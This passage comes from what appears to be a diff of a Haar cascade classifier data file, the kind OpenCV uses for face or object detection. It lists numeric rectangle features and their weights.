7 18 1 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 2 12 9 6 -1. + <_> + 2 14 9 2 3. + <_> + + <_> + 4 14 18 4 -1. + <_> + 13 14 9 2 2. + <_> + 4 16 9 2 2. + <_> + + <_> + 7 7 6 14 -1. + <_> + 7 7 3 7 2. + <_> + 10 14 3 7 2. + <_> + + <_> + 7 13 12 6 -1. + <_> + 13 13 6 3 2. + <_> + 7 16 6 3 2. + <_> + + <_> + 6 7 12 9 -1. + <_> + 10 7 4 9 3. + <_> + + <_> + 12 12 6 6 -1. + <_> + 12 12 3 6 2. + <_> + + <_> + 0 2 4 10 -1. + <_> + 0 7 4 5 2. + <_> + + <_> + 8 0 9 6 -1. + <_> + 11 0 3 6 3. + <_> + + <_> + 2 9 12 6 -1. + <_> + 2 12 12 3 2. + <_> + + <_> + 13 10 6 9 -1. + <_> + 13 13 6 3 3. + <_> + + <_> + 5 10 6 9 -1. + <_> + 5 13 6 3 3. + <_> + + <_> + 9 15 9 6 -1. + <_> + 9 17 9 2 3. + <_> + + <_> + 5 16 12 6 -1. + <_> + 5 19 12 3 2. + <_> + + <_> + 3 2 20 3 -1. + <_> + 3 3 20 1 3. + <_> + + <_> + 2 5 12 6 -1. + <_> + 6 5 4 6 3. + <_> + + <_> + 11 0 3 24 -1. + <_> + 12 0 1 24 3. + <_> + + <_> + 3 16 15 4 -1. + <_> + 8 16 5 4 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 1 15 12 8 -1. + <_> + 1 15 6 4 2. + <_> + 7 19 6 4 2. + <_> + + <_> + 15 10 8 14 -1. + <_> + 19 10 4 7 2. + <_> + 15 17 4 7 2. + <_> + + <_> + 1 9 8 14 -1. + <_> + 1 9 4 7 2. + <_> + 5 16 4 7 2. + <_> + + <_> + 9 11 9 10 -1. + <_> + 9 16 9 5 2. + <_> + + <_> + 6 7 12 6 -1. + <_> + 6 9 12 2 3. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 7 8 9 7 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 10 4 8 10 -1. + <_> + 14 4 4 5 2. + <_> + 10 9 4 5 2. + <_> + + <_> + 4 6 6 9 -1. + <_> + 4 9 6 3 3. + <_> + + <_> + 0 6 24 12 -1. + <_> + 8 6 8 12 3. + <_> + + <_> + 3 7 6 14 -1. + <_> + 6 7 3 14 2. + <_> + + <_> + 19 8 5 8 -1. + <_> + 19 12 5 4 2. + <_> + + <_> + 0 8 5 8 -1. + <_> + 0 12 5 4 2. + <_> + + <_> + 17 3 6 6 -1. + <_> + 17 6 6 3 2. + <_> + + <_> + 1 3 6 6 -1. + <_> + 1 6 6 3 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 3 3 18 6 -1. + <_> + 3 5 18 2 3. + <_> + + <_> + 2 3 9 6 -1. + <_> + 2 5 9 2 3. + <_> + + <_> + 9 3 10 8 -1. + <_> + 14 3 5 4 2. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 3 10 8 -1. + <_> + 5 3 5 4 2. + <_> + 10 7 5 4 2. + <_> + + <_> + 10 11 6 12 -1. + <_> + 10 11 3 12 2. + <_> + + <_> + 8 11 6 11 -1. + <_> + 11 11 3 11 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 9 6 6 7 -1. + <_> + 12 6 3 7 2. + <_> + + <_> + 5 18 18 3 -1. + <_> + 5 19 18 1 3. + <_> + + <_> + 8 4 6 9 -1. + <_> + 10 4 2 9 3. + <_> + + <_> + 8 1 9 7 -1. + <_> + 11 1 3 7 3. + <_> + + <_> + 6 11 6 6 -1. + <_> + 9 11 3 6 2. + <_> + + <_> + 14 12 4 11 -1. + <_> + 14 12 2 11 2. + <_> + + <_> + 6 12 4 11 -1. + <_> + 8 12 2 11 2. + <_> + + <_> + 8 0 12 18 -1. + <_> + 12 0 4 18 3. + <_> + + <_> + 2 12 10 5 -1. + <_> + 7 12 5 5 2. + <_> + + <_> + 2 20 22 3 -1. + <_> + 2 21 22 1 3. + <_> + + <_> + 0 4 2 20 -1. + <_> + 1 4 1 20 2. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 10 10 2 2. + <_> + + <_> + 6 7 8 10 -1. + <_> + 6 7 4 5 2. + <_> + 10 12 4 5 2. + <_> + + <_> + 14 0 6 14 -1. + <_> + 17 0 3 7 2. + <_> + 14 7 3 7 2. + <_> + + <_> + 4 11 5 8 -1. + <_> + 4 15 5 4 2. + <_> + + <_> + 2 0 20 9 -1. + <_> + 2 3 20 3 3. + <_> + + <_> + 6 7 12 8 -1. + <_> + 6 7 6 4 2. + <_> + 12 11 6 4 2. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 7 10 10 4 -1. + <_> + 7 12 10 2 2. + <_> + + <_> + 6 5 12 9 -1. + <_> + 10 5 4 9 3. + <_> + + <_> + 5 11 6 8 -1. + <_> + 8 11 3 8 2. + <_> + + <_> + 18 4 4 17 -1. + <_> + 18 4 2 17 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 18 4 4 17 -1. + <_> + 18 4 2 17 2. + <_> + + <_> + 2 4 4 17 -1. + <_> + 4 4 2 17 2. + <_> + + <_> + 5 18 19 3 -1. + <_> + 5 19 19 1 3. + <_> + + <_> + 11 0 2 18 -1. + <_> + 11 9 2 9 2. + <_> + + <_> + 15 4 2 18 -1. + <_> + 15 13 2 9 2. + <_> + + <_> + 7 4 2 18 -1. + <_> + 7 13 2 9 2. + <_> + + <_> + 7 11 10 8 -1. + <_> + 12 11 5 4 2. + <_> + 7 15 5 4 2. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 2 9 16 8 -1. + <_> + 2 9 8 4 2. + <_> + 10 13 8 4 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 3 12 12 6 -1. + <_> + 3 14 12 2 3. + <_> + + <_> + 14 12 9 6 -1. + <_> + 14 14 9 2 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 1 7 22 6 -1. + <_> + 1 9 22 2 3. + <_> + + <_> + 18 4 6 6 -1. + <_> + 18 7 6 3 2. + <_> + + <_> + 0 4 6 6 -1. + <_> + 0 7 6 3 2. + <_> + + <_> + 5 11 16 6 -1. + <_> + 5 14 16 3 2. + <_> + + <_> + 6 16 9 4 -1. + <_> + 6 18 9 2 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 4 15 6 9 -1. + <_> + 4 18 6 3 3. + <_> + + <_> + 15 1 6 23 -1. + <_> + 17 1 2 23 3. + <_> + + <_> + 0 21 24 3 -1. + <_> + 8 21 8 3 3. + <_> + + <_> + 0 20 24 4 -1. + <_> + 8 20 8 4 3. + <_> + + <_> + 3 1 6 23 -1. + <_> + 5 1 2 23 3. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 1 16 22 4 -1. + <_> + 12 16 11 2 2. + <_> + 1 18 11 2 2. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 2 10 21 3 -1. + <_> + 9 10 7 3 3. + <_> + + <_> + 2 18 12 6 -1. + <_> + 2 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 0 5 24 4 -1. + <_> + 0 7 24 2 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 10 7 6 12 -1. + <_> + 10 13 6 6 2. + <_> + + <_> + 6 6 6 9 -1. + <_> + 8 6 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 2 1 20 3 -1. + <_> + 2 2 20 1 3. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 13 2 4 13 -1. + <_> + 13 2 2 13 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 12 7 6 4 2. + <_> + + <_> + 10 1 4 13 -1. + <_> + 10 1 2 13 2. + <_> + + <_> + 6 0 3 18 -1. + <_> + 7 0 1 18 3. + <_> + + <_> + 14 3 10 5 -1. + <_> + 14 3 5 5 2. + <_> + + <_> + 6 15 12 8 -1. + <_> + 10 15 4 8 3. + <_> + + <_> + 9 10 6 9 -1. + <_> + 11 10 2 9 3. + <_> + + <_> + 8 3 4 9 -1. + <_> + 10 3 2 9 2. + <_> + + <_> + 17 0 6 14 -1. + <_> + 20 0 3 7 2. + <_> + 17 7 3 7 2. + <_> + + <_> + 1 0 6 14 -1. + <_> + 1 0 3 7 2. + <_> + 4 7 3 7 2. + <_> + + <_> + 14 0 6 16 -1. + <_> + 17 0 3 8 2. + <_> + 14 8 3 8 2. + <_> + + <_> + 7 4 4 10 -1. + <_> + 9 4 2 10 2. + <_> + + <_> + 3 17 18 6 -1. + <_> + 12 17 9 3 2. + <_> + 3 20 9 3 2. + <_> + + <_> + 1 20 22 4 -1. + <_> + 12 20 11 4 2. + <_> + + <_> + 14 3 10 5 -1. + <_> + 14 3 5 5 2. + <_> + + <_> + 0 3 10 5 -1. + <_> + 5 3 5 5 2. + <_> + + <_> + 12 6 12 16 -1. + <_> + 16 6 4 16 3. + <_> + + <_> + 0 6 12 16 -1. + <_> + 4 6 4 16 3. + <_> + + <_> + 10 9 5 15 -1. + <_> + 10 14 5 5 3. + <_> + + <_> + 1 18 21 2 -1. + <_> + 1 19 21 1 2. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 6 1 12 4 -1. + <_> + 12 1 6 4 2. + <_> + + <_> + 6 0 12 12 -1. + <_> + 12 0 6 6 2. + <_> + 6 6 6 6 2. + <_> + + <_> + 8 10 8 12 -1. + <_> + 8 10 4 6 2. + <_> + 12 16 4 6 2. + <_> + + <_> + 14 16 10 8 -1. + <_> + 19 16 5 4 2. + <_> + 14 20 5 4 2. + <_> + + <_> + 0 16 10 8 -1. + <_> + 0 16 5 4 2. + <_> + 5 20 5 4 2. + <_> + + <_> + 10 12 12 5 -1. + <_> + 14 12 4 5 3. + <_> + + <_> + 6 16 10 8 -1. + <_> + 6 16 5 4 2. + <_> + 11 20 5 4 2. + <_> + + <_> + 7 6 12 6 -1. + <_> + 13 6 6 3 2. + <_> + 7 9 6 3 2. + <_> + + <_> + 9 6 4 18 -1. + <_> + 9 6 2 9 2. + <_> + 11 15 2 9 2. + <_> + + <_> + 10 9 6 14 -1. + <_> + 13 9 3 7 2. + <_> + 10 16 3 7 2. + <_> + + <_> + 8 9 6 14 -1. + <_> + 8 9 3 7 2. + <_> + 11 16 3 7 2. + <_> + + <_> + 7 4 11 12 -1. + <_> + 7 10 11 6 2. + <_> + + <_> + 4 8 6 16 -1. + <_> + 4 8 3 8 2. + <_> + 7 16 3 8 2. + <_> + + <_> + 17 3 4 21 -1. + <_> + 17 10 4 7 3. + <_> + + <_> + 3 3 4 21 -1. + <_> + 3 10 4 7 3. + <_> + + <_> + 10 1 8 18 -1. + <_> + 14 1 4 9 2. + <_> + 10 10 4 9 2. + <_> + + <_> + 2 5 16 8 -1. + <_> + 2 5 8 4 2. + <_> + 10 9 8 4 2. + <_> + + <_> + 3 6 18 12 -1. + <_> + 3 10 18 4 3. + <_> + + <_> + 4 10 16 12 -1. + <_> + 4 14 16 4 3. + <_> + + <_> + 15 4 8 20 -1. + <_> + 19 4 4 10 2. + <_> + 15 14 4 10 2. + <_> + + <_> + 7 2 9 6 -1. + <_> + 10 2 3 6 3. + <_> + + <_> + 15 4 8 20 -1. + <_> + 19 4 4 10 2. + <_> + 15 14 4 10 2. + <_> + + <_> + 1 4 8 20 -1. + <_> + 1 4 4 10 2. + <_> + 5 14 4 10 2. + <_> + + <_> + 11 8 8 14 -1. + <_> + 15 8 4 7 2. + <_> + 11 15 4 7 2. + <_> + + <_> + 5 8 8 14 -1. + <_> + 5 8 4 7 2. + <_> + 9 15 4 7 2. + <_> + + <_> + 10 13 5 8 -1. + <_> + 10 17 5 4 2. + <_> + + <_> + 4 13 7 9 -1. + <_> + 4 16 7 3 3. + <_> + + <_> + 0 13 24 10 -1. + <_> + 0 18 24 5 2. + <_> + + <_> + 4 2 8 11 -1. + <_> + 8 2 4 11 2. + <_> + + <_> + 10 2 8 16 -1. + <_> + 14 2 4 8 2. + <_> + 10 10 4 8 2. + <_> + + <_> + 0 2 24 6 -1. + <_> + 0 2 12 3 2. + <_> + 12 5 12 3 2. + <_> + + <_> + 6 0 12 9 -1. + <_> + 6 3 12 3 3. + <_> + + <_> + 1 2 12 12 -1. + <_> + 1 2 6 6 2. + <_> + 7 8 6 6 2. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 4 3 8 10 -1. + <_> + 4 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 6 21 18 3 -1. + <_> + 6 22 18 1 3. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 11 22 1 3. + <_> + + <_> + 2 8 12 9 -1. + <_> + 2 11 12 3 3. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 7 13 9 6 -1. + <_> + 7 15 9 2 3. + <_> + + <_> + 9 8 7 12 -1. + <_> + 9 14 7 6 2. + <_> + + <_> + 4 13 9 6 -1. + <_> + 7 13 3 6 3. + <_> + + <_> + 6 15 18 4 -1. + <_> + 12 15 6 4 3. + <_> + + <_> + 5 4 4 16 -1. + <_> + 7 4 2 16 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 9 11 12 10 -1. + <_> + 15 11 6 5 2. + <_> + 9 16 6 5 2. + <_> + + <_> + 3 6 14 6 -1. + <_> + 3 8 14 2 3. + <_> + + <_> + 4 2 17 8 -1. + <_> + 4 6 17 4 2. + <_> + + <_> + 6 2 12 21 -1. + <_> + 6 9 12 7 3. + <_> + + <_> + 8 1 9 9 -1. + <_> + 8 4 9 3 3. + <_> + + <_> + 0 7 24 3 -1. + <_> + 12 7 12 3 2. + <_> + + <_> + 11 6 9 10 -1. + <_> + 11 11 9 5 2. + <_> + + <_> + 2 11 18 3 -1. + <_> + 2 12 18 1 3. + <_> + + <_> + 8 16 9 4 -1. + <_> + 8 18 9 2 2. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 0 11 24 6 -1. + <_> + 0 13 24 2 3. + <_> + + <_> + 2 9 20 6 -1. + <_> + 2 12 20 3 2. + <_> + + <_> + 4 5 16 12 -1. + <_> + 12 5 8 6 2. + <_> + 4 11 8 6 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 7 3 10 4 -1. + <_> + 7 5 10 2 2. + <_> + + <_> + 9 15 6 8 -1. + <_> + 9 19 6 4 2. + <_> + + <_> + 17 0 7 10 -1. + <_> + 17 5 7 5 2. + <_> + + <_> + 0 0 7 10 -1. + <_> + 0 5 7 5 2. + <_> + + <_> + 16 1 6 12 -1. + <_> + 19 1 3 6 2. + <_> + 16 7 3 6 2. + <_> + + <_> + 1 0 19 8 -1. + <_> + 1 4 19 4 2. + <_> + + <_> + 12 2 9 4 -1. + <_> + 12 4 9 2 2. + <_> + + <_> + 3 2 9 4 -1. + <_> + 3 4 9 2 2. + <_> + + <_> + 12 2 10 6 -1. + <_> + 12 4 10 2 3. + <_> + + <_> + 3 4 18 2 -1. + <_> + 12 4 9 2 2. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 8 1 4 9 -1. + <_> + 10 1 2 9 2. + <_> + + <_> + 10 5 8 10 -1. + <_> + 14 5 4 5 2. + <_> + 10 10 4 5 2. + <_> + + <_> + 6 4 12 13 -1. + <_> + 10 4 4 13 3. + <_> + + <_> + 13 5 6 6 -1. + <_> + 13 5 3 6 2. + <_> + + <_> + 1 5 12 3 -1. + <_> + 7 5 6 3 2. + <_> + + <_> + 7 5 10 6 -1. + <_> + 7 7 10 2 3. + <_> + + <_> + 2 0 21 5 -1. + <_> + 9 0 7 5 3. + <_> + + <_> + 0 8 9 9 -1. + <_> + 0 11 9 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 3 6 7 -1. + <_> + 3 3 3 7 2. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 2 8 10 3 2. + <_> + 12 11 10 3 2. + <_> + + <_> + 13 2 10 4 -1. + <_> + 13 4 10 2 2. + <_> + + <_> + 4 5 5 18 -1. + <_> + 4 11 5 6 3. + <_> + + <_> + 20 4 4 9 -1. + <_> + 20 4 2 9 2. + <_> + + <_> + 8 6 8 14 -1. + <_> + 8 13 8 7 2. + <_> + + <_> + 0 1 24 6 -1. + <_> + 12 1 12 3 2. + <_> + 0 4 12 3 2. + <_> + + <_> + 0 4 4 9 -1. + <_> + 2 4 2 9 2. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 3 17 16 6 -1. + <_> + 3 19 16 2 3. + <_> + + <_> + 13 6 6 9 -1. + <_> + 13 9 6 3 3. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 6 7 3 2. + <_> + 12 9 7 3 2. + <_> + + <_> + 13 5 8 10 -1. + <_> + 17 5 4 5 2. + <_> + 13 10 4 5 2. + <_> + + <_> + 2 2 20 3 -1. + <_> + 2 3 20 1 3. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 12 3 4 11 -1. + <_> + 12 3 2 11 2. + <_> + + <_> + 8 3 4 11 -1. + <_> + 10 3 2 11 2. + <_> + + <_> + 8 3 8 10 -1. + <_> + 12 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 11 1 2 18 -1. + <_> + 12 1 1 18 2. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 0 2 19 3 -1. + <_> + 0 3 19 1 3. + <_> + + <_> + 9 14 9 6 -1. + <_> + 9 16 9 2 3. + <_> + + <_> + 1 8 18 5 -1. + <_> + 7 8 6 5 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 13 6 4 15 -1. + <_> + 13 11 4 5 3. + <_> + + <_> + 1 5 18 3 -1. + <_> + 1 6 18 1 3. + <_> + + <_> + 9 7 14 6 -1. + <_> + 9 9 14 2 3. + <_> + + <_> + 2 16 18 3 -1. + <_> + 2 17 18 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 9 13 7 8 -1. + <_> + 9 17 7 4 2. + <_> + + <_> + 2 17 20 3 -1. + <_> + 2 18 20 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 4 0 15 4 -1. + <_> + 4 2 15 2 2. + <_> + + <_> + 17 2 6 6 -1. + <_> + 17 5 6 3 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 9 6 -1. + <_> + 0 19 9 2 3. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 16 13 8 10 -1. + <_> + 20 13 4 5 2. + <_> + 16 18 4 5 2. + <_> + + <_> + 0 14 24 4 -1. + <_> + 8 14 8 4 3. + <_> + + <_> + 13 18 6 6 -1. + <_> + 13 18 3 6 2. + <_> + + <_> + 0 13 8 10 -1. + <_> + 0 13 4 5 2. + <_> + 4 18 4 5 2. + <_> + + <_> + 0 14 24 6 -1. + <_> + 0 17 24 3 2. + <_> + + <_> + 5 2 12 8 -1. + <_> + 5 2 6 4 2. + <_> + 11 6 6 4 2. + <_> + + <_> + 8 9 9 6 -1. + <_> + 11 9 3 6 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 4 5 16 2 2. + <_> + + <_> + 10 2 4 10 -1. + <_> + 10 7 4 5 2. + <_> + + <_> + 8 4 5 8 -1. + <_> + 8 8 5 4 2. + <_> + + <_> + 11 5 9 12 -1. + <_> + 11 9 9 4 3. + <_> + + <_> + 4 5 9 12 -1. + <_> + 4 9 9 4 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 2 4 20 12 -1. + <_> + 2 8 20 4 3. + <_> + + <_> + 4 4 17 16 -1. + <_> + 4 12 17 8 2. + <_> + + <_> + 8 7 7 6 -1. + <_> + 8 10 7 3 2. + <_> + + <_> + 1 9 23 2 -1. + <_> + 1 10 23 1 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 13 3 4 9 -1. + <_> + 13 3 2 9 2. + <_> + + <_> + 8 1 6 13 -1. + <_> + 10 1 2 13 3. + <_> + + <_> + 4 22 18 2 -1. + <_> + 4 23 18 1 2. + <_> + + <_> + 3 10 9 6 -1. + <_> + 6 10 3 6 3. + <_> + + <_> + 14 0 2 24 -1. + <_> + 14 0 1 24 2. + <_> + + <_> + 8 0 2 24 -1. + <_> + 9 0 1 24 2. + <_> + + <_> + 3 2 18 10 -1. + <_> + 9 2 6 10 3. + <_> + + <_> + 4 13 15 6 -1. + <_> + 9 13 5 6 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 9 1 4 11 -1. + <_> + 11 1 2 11 2. + <_> + + <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 7 0 10 18 -1. + <_> + 12 0 5 18 2. + <_> + + <_> + 12 1 6 16 -1. + <_> + 14 1 2 16 3. + <_> + + <_> + 6 1 6 16 -1. + <_> + 8 1 2 16 3. + <_> + + <_> + 18 2 6 6 -1. + <_> + 18 5 6 3 2. + <_> + + <_> + 3 5 18 2 -1. + <_> + 3 6 18 1 2. + <_> + + <_> + 18 2 6 6 -1. + <_> + 18 5 6 3 2. + <_> + + <_> + 0 2 6 6 -1. + <_> + 0 5 6 3 2. + <_> + + <_> + 13 11 11 6 -1. + <_> + 13 13 11 2 3. + <_> + + <_> + 5 7 10 4 -1. + <_> + 10 7 5 4 2. + <_> + + <_> + 11 9 10 7 -1. + <_> + 11 9 5 7 2. + <_> + + <_> + 3 9 10 7 -1. + <_> + 8 9 5 7 2. + <_> + + <_> + 16 4 6 6 -1. + <_> + 16 4 3 6 2. + <_> + + <_> + 5 6 10 8 -1. + <_> + 5 6 5 4 2. + <_> + 10 10 5 4 2. + <_> + + <_> + 7 21 16 3 -1. + <_> + 7 21 8 3 2. + <_> + + <_> + 1 21 16 3 -1. + <_> + 9 21 8 3 2. + <_> + + <_> + 2 5 22 14 -1. + <_> + 13 5 11 7 2. + <_> + 2 12 11 7 2. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 17 0 6 12 -1. + <_> + 20 0 3 6 2. + <_> + 17 6 3 6 2. + <_> + + <_> + 5 2 6 18 -1. + <_> + 7 2 2 18 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 0 12 7 9 -1. + <_> + 0 15 7 3 3. + <_> + + <_> + 15 13 8 10 -1. + <_> + 19 13 4 5 2. + <_> + 15 18 4 5 2. + <_> + + <_> + 1 0 6 12 -1. + <_> + 1 0 3 6 2. + <_> + 4 6 3 6 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 1 13 8 10 -1. + <_> + 1 13 4 5 2. + <_> + 5 18 4 5 2. + <_> + + <_> + 3 21 19 2 -1. + <_> + 3 22 19 1 2. + <_> + + <_> + 6 3 4 13 -1. + <_> + 8 3 2 13 2. + <_> + + <_> + 5 10 18 3 -1. + <_> + 5 11 18 1 3. + <_> + + <_> + 9 3 5 12 -1. + <_> + 9 7 5 4 3. + <_> + + <_> + 11 2 4 15 -1. + <_> + 11 7 4 5 3. + <_> + + <_> + 4 1 16 4 -1. + <_> + 4 3 16 2 2. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 5 1 10 8 -1. + <_> + 5 1 5 4 2. + <_> + 10 5 5 4 2. + <_> + + <_> + 11 18 12 6 -1. + <_> + 17 18 6 3 2. + <_> + 11 21 6 3 2. + <_> + + <_> + 5 15 12 3 -1. + <_> + 11 15 6 3 2. + <_> + + <_> + 1 10 22 4 -1. + <_> + 1 10 11 4 2. + <_> + + <_> + 7 9 9 6 -1. + <_> + 10 9 3 6 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 6 7 10 7 -1. + <_> + 11 7 5 7 2. + <_> + + <_> + 11 2 8 10 -1. + <_> + 11 2 4 10 2. + <_> + + <_> + 5 2 8 10 -1. + <_> + 9 2 4 10 2. + <_> + + <_> + 6 4 18 6 -1. + <_> + 15 4 9 3 2. + <_> + 6 7 9 3 2. + <_> + + <_> + 0 5 10 9 -1. + <_> + 0 8 10 3 3. + <_> + + <_> + 2 7 21 6 -1. + <_> + 2 9 21 2 3. + <_> + + <_> + 0 4 22 16 -1. + <_> + 0 4 11 8 2. + <_> + 11 12 11 8 2. + <_> + + <_> + 9 0 6 22 -1. + <_> + 9 11 6 11 2. + <_> + + <_> + 9 1 3 12 -1. + <_> + 9 7 3 6 2. + <_> + + <_> + 12 0 12 18 -1. + <_> + 18 0 6 9 2. + <_> + 12 9 6 9 2. + <_> + + <_> + 0 0 12 18 -1. + <_> + 0 0 6 9 2. + <_> + 6 9 6 9 2. + <_> + + <_> + 1 1 22 4 -1. + <_> + 12 1 11 2 2. + <_> + 1 3 11 2 2. + <_> + + <_> + 3 0 18 4 -1. + <_> + 3 2 18 2 2. + <_> + + <_> + 2 5 22 6 -1. + <_> + 2 7 22 2 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 5 3 6 3 3. + <_> + + <_> + 10 14 6 9 -1. + <_> + 12 14 2 9 3. + <_> + + <_> + 8 14 6 9 -1. + <_> + 10 14 2 9 3. + <_> + + <_> + 5 18 18 3 -1. + <_> + 5 19 18 1 3. + <_> + + <_> + 6 0 6 13 -1. + <_> + 9 0 3 13 2. + <_> + + <_> + 7 4 12 4 -1. + <_> + 7 4 6 4 2. + <_> + + <_> + 5 2 12 6 -1. + <_> + 9 2 4 6 3. + <_> + + <_> + 4 1 18 3 -1. + <_> + 4 2 18 1 3. + <_> + + <_> + 0 8 6 12 -1. + <_> + 0 12 6 4 3. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 9 10 6 13 -1. + <_> + 11 10 2 13 3. + <_> + + <_> + 6 17 18 2 -1. + <_> + 6 18 18 1 2. + <_> + + <_> + 9 4 6 9 -1. + <_> + 11 4 2 9 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 5 6 10 8 -1. + <_> + 5 6 5 4 2. + <_> + 10 10 5 4 2. + <_> + + <_> + 14 9 5 8 -1. + <_> + 14 13 5 4 2. + <_> + + <_> + 5 9 5 8 -1. + <_> + 5 13 5 4 2. + <_> + + <_> + 14 11 9 6 -1. + <_> + 14 13 9 2 3. + <_> + + <_> + 0 2 23 15 -1. + <_> + 0 7 23 5 3. + <_> + + <_> + 16 0 8 12 -1. + <_> + 16 6 8 6 2. + <_> + + <_> + 4 15 6 9 -1. + <_> + 4 18 6 3 3. + <_> + + <_> + 8 18 9 4 -1. + <_> + 8 20 9 2 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 13 11 11 6 -1. + <_> + 13 13 11 2 3. + <_> + + <_> + 0 11 11 6 -1. + <_> + 0 13 11 2 3. + <_> + + <_> + 0 